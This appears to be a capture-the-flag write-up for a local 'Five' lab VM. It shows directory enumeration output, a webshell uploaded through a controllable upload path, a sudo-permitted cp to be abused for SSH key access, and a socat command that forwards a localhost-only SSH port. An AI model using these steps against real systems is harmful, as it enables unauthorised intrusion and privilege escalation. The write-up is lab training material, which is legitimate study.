HMV Five

• Name: Five
• Difficulty: Medium
• OS: Linux
• IP: Local VM

• Port forwarding is a good friend for complex network topology (nc, socat, chisel and python).
• LOTL (Live off the land) is an ideal attack vector sometimes.

First I access the homepage which give me 403. Then the /admin give me a login form. I try some common credentials and simple SQLi, but nothing return.

Then I enumerate this web service by feroxbuster and some interesting endpoints stand out.

❰curtain❙~/workspace/shooting/hmvm/five❱✘≻ feroxbuster -u http://192.168.1.12/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.12/
 🚩  In-Scope Url          │ 192.168.1.12
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, txt, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      169c http://192.168.1.12/
301      GET        7l       12w      185c http://192.168.1.12/admin => http://192.168.1.12/admin/
200      GET        1l        2w       23c http://192.168.1.12/admin/action_page.php
200      GET      176l      445w     3866c http://192.168.1.12/admin/index.html
200      GET        2l        1w       17c http://192.168.1.12/robots.txt
301      GET        7l       12w      185c http://192.168.1.12/uploads => http://192.168.1.12/uploads/
200      GET        2l        8w       48c http://192.168.1.12/upload.php
200      GET       15l       29w      346c http://192.168.1.12/upload.html
403      GET        7l       10w      169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[####################] - 2s     55392/55392   0s      found:8       errors:0
[####################] - 2s     18456/18456   11351/s http://192.168.1.12/
[####################] - 2s     18456/18456   12174/s http://192.168.1.12/admin/
[####################] - 1s     18456/18456   20714/s http://192.168.1.12/uploads/

Finally the /upload.html endpoint catches my eyes after interact with these endpoints.

I can control the directory path of the upload file after I test it. Since I cannot access the webshell from the default uploads directory. I upload the webshell to root directory of website.

www-data@five:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@five:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on five:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on five:
    (melisa) NOPASSWD: /bin/cp

The /bin/cp can read and write files which I learn from GTFBins. The first thing come to my mind is copy the ssh key of user melisa or write our own ssh public key to direcory of melisa, but the ssh service is not enabled default, then I discover there is a ssh service but only for localhost by ss -tlnp.

www-data@five:/$ nc 127.0.0.1 4444
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2

So the question become how to mapping that service for me? I Google with that keyword then the port mapping(forwarding) catch my eyes.

What I need is something like this:

guest(me or others) <-----> target_machine's mapping port (ie: 2222) <------> target_machine's localhost:4444 (ssh service)

So I achieve this target by following:

tldr socat

socat tcp-listen:2222,fork tcp4:127.0.0.1:4444